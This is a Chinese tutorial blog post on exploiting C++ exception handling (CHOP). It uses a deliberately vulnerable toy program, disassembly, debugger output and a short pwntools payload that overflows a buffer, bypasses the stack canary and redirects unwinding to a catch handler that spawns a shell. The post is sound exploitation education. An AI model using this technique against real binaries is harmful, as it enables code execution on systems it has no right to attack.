# 前言
今天刚复现完 2024 年羊城杯的 [logger](/posts/write-ups/2024-羊城杯/#logger)，一
道简单的涉及 C++ 异常处理机制的缓冲区溢出题，感觉还挺有意思，了解了一下发现有一
种专门针对于异常处理而发展出来的 ROP 手法，叫做 `CHOP (Catch Handler Oriented Pr
ogramming)`，也有称其为 `EOP (Exception Oriented Programming)` 的，这里我就直接
沿袭原论文中的命名了。我也是参考了多方博客学习的，现在打算自己写一篇，以增强个人
理解。
~_PS: 等有空了我想好好研读一下那篇论文，体验一下搞科研的感觉是什么样的（bushi_~
:::important
本文将主要研究如何通过缓冲区溢出漏洞，利用 Linux 下的 C++ 异常处理机制，跳转到任
意 catch 流，执行任意函数。但这并不意味着只有 C++ 中的异常处理机制可以被利用，至
少我看原作者的演讲，好像说其它语言中的异常处理机制同样存在类似的问题。
暂时不打算对异常处理及 unwind 的过程做详细分析，只做简单介绍。日后有时间我会再单
独写篇博客深入 unwind 的内部实现，剖析其原理。~_所以这里就先占个坑/逃_~
:::
## 因果之链：异常展开的轨迹
### C++ 异常处理的编程思想
假设你略懂 C++ 中的 try catch 语法。不懂也没事，因为其它语言中异常的捕获与处理思
想也类似。
以防有同学真的不了解异常处理的大致编程思想，我这里就简单提一嘴 C++ 中的 try catc
h 吧，~_虽然我其实并不会 C++/逃_~
一般对于可能发生异常的代码我们会使用 `try` 将其包裹；如果异常真的发生了，我们会
通过 `throw` 将异常抛出，通知程序不要继续往下执行了，先去处理异常；而 throw 抛出
的异常必定需要通过某种方式被识别吧？那就用到了 `catch`。catch 是有要求的，不是什
么样的异常都可以进入同一个 catch 中。一般 throw 的时候会确定异常类型，比如是抛出
了一个整形还是字符串，接着 catch 就会根据不同类型的异常而选择不同的 handler 用于
处理；最终，处理完异常后程序可能会恢复执行（一般应该是从 catch 语句块之后接着执
行）。
### C++ 异常处理的基本流程
当 `throw` 发生时，程序大致会做这么几件事：
- 寻找合适的 `catch`
- 抛出异常后，从当前函数开始寻找匹配的 catch handler，找不到就将异常逐层往当前
调用链的上层函数栈帧抛，直到找到能处理该类型异常的 catch handler，该过程被称为栈
展开或栈回溯，即 Stack Unwindding 。如果最后回溯完整个调用链还是没找到合适的 han
dler，则调用 `std::terminate()`，其默认行为是使程序 abort 。
- 转移控制到 `catch handler`
- 一旦找到匹配的 handler，控制流跳转到对应的 catch 代码块开始执行
- 恢复执行
- 异常处理完毕后，系统会尝试恢复执行，通常是在异常被捕获的点之后继续执行
:::tip
目前我们只要知道 throw 会触发逐帧 unwind，最终跳转到合适的 catch handler 执行即
可。我想上面这些简单的概念应该已经足够支撑我们理解为什么 handler 能当作 gadget
链接了，当然，前提是你已经学过了基本的 ROP 思想，我觉得这两者之间还是挺相似的，
所以理解起来应该并不费劲。
:::
## 命运之刃：栈上的裂隙与挟持
:::important
下面代码使用 `g++-9` 编译测试，实测高版本在 `___cxa_allocate_exception` 之后就检
测了 canary，这对我们的利用会产生影响，因此这里使用 `Ubuntu 20.04 (gcc-9 series)
` 及以下版本进行测试。
:::
```cpp title="vuln.cpp"
// g++-9 -Wall vuln.cpp -o vuln -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
class foo {
public:
char buf[0x10];
foo() { printf("foo::foo() calledn"); }
~foo() { printf("foo::~foo() calledn"); }
};
void input();
void backdoor();
int main() {
try {
input();
throw 1;
} catch (int x) {
printf("Int: %dn", x);
} catch (const char *s) {
printf("String: %sn", s);
}
printf("main() returnn");
return 0;
}
void input() {
foo tmp;
printf("Enter your input: ");
fflush(stdout);
int size = 0x100;
size_t len = read(0, tmp.buf, size);
if (len > 0x10) {
throw "Buffer overflow detected!";
}
printf("input() returnn");
}
void backdoor() {
try {
printf("We have never called this backdoor!n");
} catch (const char *s) {
printf("Backdoor has catched the exception: %sn", s);
system("/bin/sh");
}
}
```
先说结论，再调试。以当前示例程序为例，这里我粗略划分为三种情况：
1. 没有发生异常，程序会顺着正常路径结束 `input` 调用
2. 抛出异常，但是在当前函数被捕获，那么执行路径是：`throw -> ___cxa_begin_catch
-> executing handler -> ___cxa_end_catch -> resume after catch in input() -> des
tructor -> check canary -> ...`
3. 抛出异常，但是当前函数中不存在对应的 cactch，那么执行路径将变为：`throw -> cl
eanup -> destructor -> __Unwind_Resume -> 此时进入上层栈帧查找是否含有匹配的 cat
ch 块，没有的话继续执行 __Unwind_Resume 往上抛，直到找到为止。找到后，执行 catch
handler (___cxa_begin_catch -> executing handler -> ___cxa_end_catch)，执行完后
跳转到找到的那个函数的 catch 块后继续执行。若每一层都找不到，就像之前说的，会执
行 std::terminate()，默认行为是 abort`
对于测试在 input 中直接 catch 的情况，可以将 input 函数修改为如下：
```cpp
void input() {
foo tmp;
printf("Enter your input: ");
fflush(stdout);
try {
int size = 0x100;
size_t len = read(0, tmp.buf, size);
if (len > 0x10) {
throw "Buffer overflow detected!";
}
} catch (const char *s) {
printf("Caught in input(): %sn", s);
}
printf("input() returnn");
}
```
对于上面的 2 和 3 这两种情况，我分别截取了部分汇编代码供对照分析，首先是情况 2（
input 中存在匹配的 catch handler）：
```asm showLineNumbers=false
.text:00000000004013CE ; try {
.text:00000000004013CE call _read
.text:00000000004013D3 mov [rbp+var_40], rax
.text:00000000004013D7 cmp [rbp+var_40], 10h
.text:00000000004013DC jbe short loc_401409
.text:00000000004013DE mov edi, 8 ; thrown_size
.text:00000000004013E3 call ___cxa_allocate_exception
.text:00000000004013E8 lea rdx, aBufferOverflow ; "Buffer ov
erflow detected!"
.text:00000000004013EF mov [rax], rdx
.text:00000000004013F2 mov edx, 0 ; void (*)(void *
)
.text:00000000004013F7 mov rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE mov rsi, rcx ; lptinfo
.text:0000000000401401 mov rdi, rax ; exception
.text:0000000000401404 call ___cxa_throw
.text:0000000000401404 ; } // starts at 4013CE
.text:0000000000401409 ; -------------------------------------------------------
--------------------
.text:0000000000401409
.text:0000000000401409 loc_401409: ; CODE XREF: inpu
t(void)+72↑j
.text:0000000000401409 ; input(void)+101
↓j
.text:0000000000401409 lea rdi, aInputReturn ; "input() retu
rn"
.text:0000000000401410 ; try {
.text:0000000000401410 call _puts
.text:0000000000401410 ; } // starts at 401410
.text:0000000000401415 lea rax, [rbp+buf]
.text:0000000000401419 mov rdi, rax ; this
.text:000000000040141C call _ZN3fooD1Ev ; foo::~foo()
.text:0000000000401421 nop
.text:0000000000401422 mov rax, [rbp+var_18]
.text:0000000000401426 xor rax, fs:28h
.text:000000000040142F jz short loc_40149E
.text:0000000000401431 jmp short loc_401499
.text:0000000000401433 ; -------------------------------------------------------
--------------------
.text:0000000000401433 ; catch(char const*) // owned by 4013CE
.text:0000000000401433 endbr64
.text:0000000000401437 cmp rdx, 1
.text:000000000040143B jz short loc_401442
.text:000000000040143D mov rbx, rax
.text:0000000000401440 jmp short loc_401482
.text:0000000000401442 ; -------------------------------------------------------
--------------------
.text:0000000000401442
.text:0000000000401442 loc_401442: ; CODE XREF: inpu
t(void)+D1↑j
.text:0000000000401442 mov rdi, rax ; void *
.text:0000000000401445 call ___cxa_begin_catch
.text:000000000040144A mov [rbp+var_38], rax
.text:000000000040144E mov rax, [rbp+var_38]
.text:0000000000401452 mov rsi, rax
.text:0000000000401455 lea rdi, aCaughtInInputS ; "Caught in
input(): %sn"
.text:000000000040145C mov eax, 0
.text:0000000000401461 ; try {
.text:0000000000401461 call _printf
.text:0000000000401461 ; } // starts at 401461
.text:0000000000401466 call ___cxa_end_catch
.text:000000000040146B jmp short loc_401409
.text:000000000040146D ; -------------------------------------------------------
--------------------
.text:000000000040146D ; cleanup() // owned by 401461
.text:000000000040146D endbr64
.text:0000000000401471 mov rbx, rax
.text:0000000000401474 call ___cxa_end_catch
.text:0000000000401479 jmp short loc_401482
.text:000000000040147B ; -------------------------------------------------------
--------------------
.text:000000000040147B ; cleanup() // owned by 40139E
.text:000000000040147B ; cleanup() // owned by 401410
.text:000000000040147B endbr64
.text:000000000040147F mov rbx, rax
.text:0000000000401482
.text:0000000000401482 loc_401482: ; CODE XREF: inpu
t(void)+D6↑j
.text:0000000000401482 ; input(void)+10F
↑j
.text:0000000000401482 lea rax, [rbp+buf]
.text:0000000000401486 mov rdi, rax ; this
.text:0000000000401489 call _ZN3fooD1Ev ; foo::~foo()
.text:000000000040148E mov rax, rbx
.text:0000000000401491 mov rdi, rax ; struct _Unwind_
Exception *
.text:0000000000401494 call __Unwind_Resume
.text:0000000000401499 ; -------------------------------------------------------
--------------------
.text:0000000000401499
.text:0000000000401499 loc_401499: ; CODE XREF: inpu
t(void)+C7↑j
.text:0000000000401499 call ___stack_chk_fail
.text:000000000040149E ; -------------------------------------------------------
--------------------
.text:000000000040149E
.text:000000000040149E loc_40149E: ; CODE XREF: inpu
t(void)+C5↑j
.text:000000000040149E add rsp, 48h
.text:00000000004014A2 pop rbx
.text:00000000004014A3 pop rbp
.text:00000000004014A4 retn
.text:00000000004014A4 ; } // starts at 40136A
.text:00000000004014A4 _Z5inputv endp
```
然后是情况 3（input 中不存在匹配的 catch handler）：
```asm showLineNumbers=false
.text:000000000040139E ; try {
.text:000000000040139E call _printf
.text:00000000004013A3 mov rax, cs:stdout_ptr
.text:00000000004013AA mov rax, [rax]
.text:00000000004013AD mov rdi, rax ; stream
.text:00000000004013B0 call _fflush
.text:00000000004013B5 mov [rbp+var_3C], 100h
.text:00000000004013BC mov eax, [rbp+var_3C]
.text:00000000004013BF movsxd rdx, eax ; nbytes
.text:00000000004013C2 lea rax, [rbp+buf]
.text:00000000004013C6 mov rsi, rax ; buf
.text:00000000004013C9 mov edi, 0 ; fd
.text:00000000004013CE call _read
.text:00000000004013D3 mov [rbp+var_38], rax
.text:00000000004013D7 cmp [rbp+var_38], 10h
.text:00000000004013DC jbe short loc_401409
.text:00000000004013DE mov edi, 8 ; thrown_size
.text:00000000004013E3 call ___cxa_allocate_exception
.text:00000000004013E8 lea rdx, aBufferOverflow ; "Buffer ov
erflow detected!"
.text:00000000004013EF mov [rax], rdx
.text:00000000004013F2 mov edx, 0 ; void (*)(void *
)
.text:00000000004013F7 mov rcx, cs:_ZTIPKc_ptr
.text:00000000004013FE mov rsi, rcx ; lptinfo
.text:0000000000401401 mov rdi, rax ; exception
.text:0000000000401404 call ___cxa_throw
.text:0000000000401409 ; -------------------------------------------------------
--------------------
.text:0000000000401409
.text:0000000000401409 loc_401409: ; CODE XREF: inpu
t(void)+72↑j
.text:0000000000401409 lea rdi, aInputReturn ; "input() retu
rn"
.text:0000000000401410 call _puts
.text:0000000000401410 ; } // starts at 40139E
.text:0000000000401415 lea rax, [rbp+buf]
.text:0000000000401419 mov rdi, rax ; this
.text:000000000040141C call _ZN3fooD1Ev ; foo::~foo()
.text:0000000000401421 nop
.text:0000000000401422 mov rax, [rbp+var_18]
.text:0000000000401426 xor rax, fs:28h
.text:000000000040142F jz short loc_401456
.text:0000000000401431 jmp short loc_401451
.text:0000000000401433 ; -------------------------------------------------------
--------------------
.text:0000000000401433 ; cleanup() // owned by 40139E
.text:0000000000401433 endbr64
.text:0000000000401437 mov rbx, rax
.text:000000000040143A lea rax, [rbp+buf]
.text:000000000040143E mov rdi, rax ; this
.text:0000000000401441 call _ZN3fooD1Ev ; foo::~foo()
.text:0000000000401446 mov rax, rbx
.text:0000000000401449 mov rdi, rax ; struct _Unwind_
Exception *
.text:000000000040144C call __Unwind_Resume
.text:0000000000401451 ; -------------------------------------------------------
--------------------
.text:0000000000401451
.text:0000000000401451 loc_401451: ; CODE XREF: inpu
t(void)+C7↑j
.text:0000000000401451 call ___stack_chk_fail
.text:0000000000401456 ; -------------------------------------------------------
--------------------
.text:0000000000401456
.text:0000000000401456 loc_401456: ; CODE XREF: inpu
t(void)+C5↑j
.text:0000000000401456 add rsp, 38h
.text:000000000040145A pop rbx
.text:000000000040145B pop rbp
.text:000000000040145C retn
.text:000000000040145C ; } // starts at 40136A
.text:000000000040145C _Z5inputv endp
```
此时会将异常上抛到调用它的函数，也就是 `main`，去 main 中查找有无匹配的 catch 块
：
```asm showLineNumbers=false
.text:0000000000401276 ; =============== S U B R O U T I N E ===================
====================
.text:0000000000401276
.text:0000000000401276 ; Attributes: bp-based frame
.text:0000000000401276
.text:0000000000401276 ; int __fastcall main(int argc, const char **argv, const
char **envp)
.text:0000000000401276 public main
.text:0000000000401276 main proc near ; DATA XREF: _sta
rt+18↑o
.text:0000000000401276
.text:0000000000401276 var_1C = dword ptr -1Ch
.text:0000000000401276 var_18 = qword ptr -18h
.text:0000000000401276
.text:0000000000401276 ; __unwind { // __gxx_personality_v0
.text:0000000000401276 endbr64
.text:000000000040127A push rbp
.text:000000000040127B mov rbp, rsp
.text:000000000040127E push rbx
.text:000000000040127F sub rsp, 18h
.text:0000000000401283 ; try {
.text:0000000000401283 call _Z5inputv ; input(void)
.text:0000000000401288 mov edi, 4 ; thrown_size
.text:000000000040128D call ___cxa_allocate_exception
.text:0000000000401292 mov dword ptr [rax], 1
.text:0000000000401298 mov edx, 0 ; void (*)(void *
)
.text:000000000040129D mov rcx, cs:lptinfo
.text:00000000004012A4 mov rsi, rcx ; lptinfo
.text:00000000004012A7 mov rdi, rax ; exception
.text:00000000004012AA call ___cxa_throw
.text:00000000004012AA ; } // starts at 401283
.text:00000000004012AF ; -------------------------------------------------------
--------------------
.text:00000000004012AF
.text:00000000004012AF loc_4012AF: ; CODE XREF: main
+8F↓j
.text:00000000004012AF ; main+BA↓j
.text:00000000004012AF lea rdi, s ; "main() return"
.text:00000000004012B6 call _puts
.text:00000000004012BB mov eax, 0
.text:00000000004012C0 jmp loc_401363
.text:00000000004012C5 ; -------------------------------------------------------
--------------------
.text:00000000004012C5 ; catch(int) // owned by 401283
.text:00000000004012C5 ; catch(char const*) // owned by 401283
.text:00000000004012C5 endbr64
.text:00000000004012C9 cmp rdx, 1
.text:00000000004012CD jz short loc_4012DD
.text:00000000004012CF cmp rdx, 2
.text:00000000004012D3 jz short loc_401307
.text:00000000004012D5 mov rdi, rax ; struct _Unwind_
Exception *
.text:00000000004012D8 call __Unwind_Resume
.text:00000000004012DD ; -------------------------------------------------------
--------------------
.text:00000000004012DD
.text:00000000004012DD loc_4012DD: ; CODE XREF: main
+57↑j
.text:00000000004012DD mov rdi, rax ; void *
.text:00000000004012E0 call ___cxa_begin_catch
.text:00000000004012E5 mov eax, [rax]
.text:00000000004012E7 mov [rbp+var_1C], eax
.text:00000000004012EA mov eax, [rbp+var_1C]
.text:00000000004012ED mov esi, eax
.text:00000000004012EF lea rdi, format ; "Int: %dn"
.text:00000000004012F6 mov eax, 0
.text:00000000004012FB ; try {
.text:00000000004012FB call _printf
.text:00000000004012FB ; } // starts at 4012FB
.text:0000000000401300 call ___cxa_end_catch
.text:0000000000401305 jmp short loc_4012AF
.text:0000000000401307 ; -------------------------------------------------------
--------------------
.text:0000000000401307
.text:0000000000401307 loc_401307: ; CODE XREF: main
+5D↑j
.text:0000000000401307 mov rdi, rax ; void *
.text:000000000040130A call ___cxa_begin_catch
.text:000000000040130F mov [rbp+var_18], rax
.text:0000000000401313 mov rax, [rbp+var_18]
.text:0000000000401317 mov rsi, rax
.text:000000000040131A lea rdi, aStringS ; "String: %sn"
.text:0000000000401321 mov eax, 0
.text:0000000000401326 ; try {
.text:0000000000401326 call _printf
.text:0000000000401326 ; } // starts at 401326
.text:000000000040132B call ___cxa_end_catch
.text:0000000000401330 jmp loc_4012AF
.text:0000000000401335 ; -------------------------------------------------------
--------------------
.text:0000000000401335 ; cleanup() // owned by 4012FB
.text:0000000000401335 endbr64
.text:0000000000401339 mov rbx, rax
.text:000000000040133C call ___cxa_end_catch
.text:0000000000401341 mov rax, rbx
.text:0000000000401344 mov rdi, rax ; struct _Unwind_
Exception *
.text:0000000000401347 call __Unwind_Resume
.text:000000000040134C ; -------------------------------------------------------
--------------------
.text:000000000040134C ; cleanup() // owned by 401326
.text:000000000040134C endbr64
.text:0000000000401350 mov rbx, rax
.text:0000000000401353 call ___cxa_end_catch
.text:0000000000401358 mov rax, rbx
.text:000000000040135B mov rdi, rax ; struct _Unwind_
Exception *
.text:000000000040135E call __Unwind_Resume
.text:0000000000401363 ; -------------------------------------------------------
--------------------
.text:0000000000401363
.text:0000000000401363 loc_401363: ; CODE XREF: main
+4A↑j
.text:0000000000401363 add rsp, 18h
.text:0000000000401367 pop rbx
.text:0000000000401368 pop rbp
.text:0000000000401369 retn
.text:0000000000401369 ; } // starts at 401276
.text:0000000000401369 main endp
```
所以我们发现，如果程序中途抛出了异常，那么接下来的代码一般是不会执行的，而是直接
去一层层 unwind，寻找匹配的 catch handler 。
想必敏锐的你已经意识到了什么……
:::important
一般来说 canary 都是在函数即将返回的时候检测的，位于函数代码的最下面。那么，如果
我们中间 throw 了异常，就不会往下执行剩余的代码，这其中就包含了 canary 的检测。
即，我们无视 canary 返回到了某个 catch handler 分支。
:::
这就引出了一个问题：我们是否有办法控制它返回到任意 handler ？
不知道，调一下就清楚了。咱也不清楚 handler 是根据什么返回的，索性分别尝试覆盖 `r
bp` 和返回地址的值看看。
首先是只覆盖了 `rbp`，我们发现执行 `_Unwind_Resume` 前 `rbp` 是 `0x7ffe29f72c50
<- 0x4242424242424242 ('BBBBBBBB')`：
执行完 `_Unwind_Resume` 后 `rbp` 就变成了我们写入的 `B`，然后继续往下执行，最终
卡在了这个地方：
原因是不能解引用 `rbp - 0x18` 这个地址，因为它是非法地址。
不过根据我们的观察，发现这里只是用 rbp 为基地址的内存去临时存放一些东西，此处是
`Buffer overflow detected!` 字符串，用于 printf：
```asm showLineNumbers=false {2-3}
pwndbg> x/10i $rip
=> 0x40130f <main+153>: mov QWORD PTR [rbp-0x18],rax
0x401313 <main+157>: mov rax,QWORD PTR [rbp-0x18]
0x401317 <main+161>: mov rsi,rax
0x40131a <main+164>: lea rdi,[rip+0xd23] # 0x402044
0x401321 <main+171>: mov eax,0x0
0x401326 <main+176>: call 0x4010e0 <printf@plt>
0x40132b <main+181>: call 0x401160 <__cxa_end_catch@plt>
0x401330 <main+186>: jmp 0x4012af <main+57>
0x401335 <main+191>: endbr64
0x401339 <main+195>: mov rbx,rax
pwndbg> x/s 0x402044
0x402044: "String: %sn"
pwndbg> x/s $rax
0x402063: "Buffer overflow detected!"
```
既然 rbp 只要是能 rw 的地址，程序又没开 PIE，那我们直接将其修改为 bss 的地址，就
可以继续往下执行了：
现在我们尝试覆盖返回地址，看看会发生什么：
又是因为访问非法地址而 abort，这次是 `rax`，而 `rax` 存的是我们覆盖的返回地址。
嗯……如果继续用 bss 地址代替会发生什么呢？
发现程序进入了 `std::terminate()`，然后输出了 `terminate called after throwing a
n instance of 'char const*'` 就 abort 了。
回想我们一开始就说的流程，「如果最后回溯完整个调用链还是没找到合适的 handler，则
调用 std::terminate()，其默认行为是使程序 abort 。」所以这条输出代表它已经搜遍了
所有函数的 catch 块（发生于 `_Unwind_RaiseException` 中），但任未找到合适的 catc
h handler 。那我们可以合理猜测，程序是不是根据这个返回地址值确定上哪找 catch 块
呢？因为如果我们不修改这个返回地址的值的话，它的值默认是 main 中 throw 的地址，
而不修改它的话程序会正常进入 main 中与之匹配的 catch handler，输出我们预期的信息
：
```plaintext showLineNumbers=false
[DEBUG] Received 0x67 bytes:
b'foo::foo() calledn'
b'Enter your input: foo::~foo() calledn'
b'String: Buffer overflow detected!n'
b'main() returnn'
```
猜想有了，现在就付诸实践吧～
通过查看交叉引用，我们定位到包含 `system("/bin/sh")` 后门的 catch 块：
```asm {18-23} del={31-44} showLineNumbers=false
.text:000000000040145D ; =============== S U B R O U T I N E ===================
====================
.text:000000000040145D
.text:000000000040145D ; Attributes: bp-based frame
.text:000000000040145D
.text:000000000040145D ; int __fastcall backdoor()
.text:000000000040145D public _Z8backdoorv
.text:000000000040145D _Z8backdoorv proc near
.text:000000000040145D
.text:000000000040145D var_18 = qword ptr -18h
.text:000000000040145D
.text:000000000040145D ; __unwind { // __gxx_personality_v0
.text:000000000040145D endbr64
.text:0000000000401461 push rbp
.text:0000000000401462 mov rbp, rsp
.text:0000000000401465 push rbx
.text:0000000000401466 sub rsp, 18h
.text:000000000040146A lea rdi, aWeHaveNeverCal ; "We have n
ever called this backdoor!"
.text:0000000000401471 ; try {
.text:0000000000401471 call _puts
.text:0000000000401471 ; } // starts at 401471
.text:0000000000401476 jmp short loc_4014D8
.text:0000000000401478 ; -------------------------------------------------------
--------------------
.text:0000000000401478 ; catch(char const*) // owned by 401471
.text:0000000000401478 endbr64
.text:000000000040147C cmp rdx, 1
.text:0000000000401480 jz short loc_40148A
.text:0000000000401482 mov rdi, rax ; struct _Unwind_
Exception *
.text:0000000000401485 call __Unwind_Resume
.text:000000000040148A ; -------------------------------------------------------
--------------------
.text:000000000040148A
.text:000000000040148A loc_40148A: ; CODE XREF: back
door(void)+23↑j
.text:000000000040148A mov rdi, rax ; void *
.text:000000000040148D call ___cxa_begin_catch
.text:0000000000401492 mov [rbp+var_18], rax
.text:0000000000401496 mov rax, [rbp+var_18]
.text:000000000040149A mov rsi, rax
.text:000000000040149D lea rdi, aBackdoorHasCat ; "Backdoor
has catched the exception: %s"...
.text:00000000004014A4 mov eax, 0
.text:00000000004014A9 ; try {
.text:00000000004014A9 call _printf
.text:00000000004014AE lea rdi, command ; "/bin/sh"
.text:00000000004014B5 call _system
.text:00000000004014B5 ; } // starts at 4014A9
.text:00000000004014BA call ___cxa_end_catch
.text:00000000004014BF jmp short loc_4014D8
.text:00000000004014C1 ; -------------------------------------------------------
--------------------
.text:00000000004014C1 ; cleanup() // owned by 4014A9
.text:00000000004014C1 endbr64
.text:00000000004014C5 mov rbx, rax
.text:00000000004014C8 call ___cxa_end_catch
.text:00000000004014CD mov rax, rbx
.text:00000000004014D0 mov rdi, rax ; struct _Unwind_
Exception *
.text:00000000004014D3 call __Unwind_Resume
.text:00000000004014D8 ; -------------------------------------------------------
--------------------
.text:00000000004014D8
.text:00000000004014D8 loc_4014D8: ; CODE XREF: back
door(void)+19↑j
.text:00000000004014D8 ; backdoor(void)+
62↑j
.text:00000000004014D8 add rsp, 18h
.text:00000000004014DC pop rbx
.text:00000000004014DD pop rbp
.text:00000000004014DE retn
.text:00000000004014DE ; } // starts at 40145D
.text:00000000004014DE _Z8backdoorv endp
```
它的 catch 是 `catch(char const*)`，和我们 throw 出来的类型一样，即我们可以尝试
返回到这个 catch handler 。
经过测试，我们将返回地址覆盖为后门 catch 的 try 地址加一，即 `0x401471 + 0x1` 就
可以 get shell 。至于这个地址到底应该覆盖为什么，经测试发现它属于一个从 try 地址
开始的左开又不确定区间。
最终 payload 如下：
```python
payload = flat(
b"A" * 0x30,
elf.bss(),
0x401471 + 0x1,
)
target.send(payload)
```
所以我们不仅无视了 canary，还成功跳转到了任意 catch handler 。不过经测试，用高版
本 g++ 编译出来的程序会将 canary 检测加到 `___cxa_allocate_exception` 之后，也就
阻止了这种利用方式。不过这个方法在 Ubuntu 20.04 LTS 上还是可以使用的，低版本应该
也没问题，所以还是值得学习的。
整明白了这个覆盖返回地址劫持 catch handler 的方法后，就可以做点实际的题目试试了
，比如 2024 羊城杯的 [logger](/posts/write-ups/2024-羊城杯/#logger) 。
劫持返回地址只是 CHOP 冷兵器时代的攻击手法之一，还有其它方法，以及我们还可以控制
`std::terminate()` 执行任意函数，那才是 CHOP 真正的魅力之所在。~_but 等我有空再
继续写吧/逃_~
## 秩序之火：任意调用与自由的幻象
TODO
# References
- [溢出漏洞在异常处理中的攻击利用手法-上](https://rivers.chaitin.cn/blog/cq70jnq
p1rhtmlvvdmng)
- [溢出漏洞在异常处理中的攻击手法-下](https://rivers.chaitin.cn/blog/cq70jnqp1rh
tmlvvdpng)
- [分享 C++ PWN 出题经历——深入研究异常处理机制](https://zhuanlan.zhihu.com/p/131
57062538)
- [Let Me Unwind That For You: Exceptions to Backward-Edge Protection](https://w
ww.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s295_paper.pdf)
- [NDSS 2023 - Let Me Unwind That For You: Exceptions to Backward-Edge Protectio
n](https://www.youtube.com/watch?v=S6dh83ZNTqY)